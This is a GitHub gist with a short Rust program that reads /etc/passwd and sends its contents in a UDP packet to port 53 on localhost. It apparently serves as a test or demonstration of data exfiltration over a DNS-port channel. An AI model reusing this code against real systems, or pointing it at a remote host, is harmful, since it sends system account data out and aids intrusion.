Skip to content

Instantly share code, notes, and snippets.

@ipcjk
Created May 16, 2020 16:00
Show Gist options
  • Save ipcjk/45c67424bf044bef26f9af46e469e8f5 to your computer and use it in GitHub Desktop.
Save ipcjk/45c67424bf044bef26f9af46e469e8f5 to your computer and use it in GitHub Desktop.
use std::net::UdpSocket;
use std::fs::File;
use std::io::prelude::*;
fn main() {
let host = "127.0.0.1";
let port = "53";
let x = File::open("/etc/passwd");
let mut file = match x {
Ok(x) => x,
Err(_) => unimplemented!(),
};
let mut contents = String::new();
file.read_to_string(&mut contents).expect("woo");
let udp = UdpSocket::bind("127.0.0.1:34254").expect("couldn't bind to address");
let destination = format!("{}:{}", host, port);
udp.connect(&destination).expect("unable to connect");
udp.send(contents.as_bytes()).expect("Fehler beim senden");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment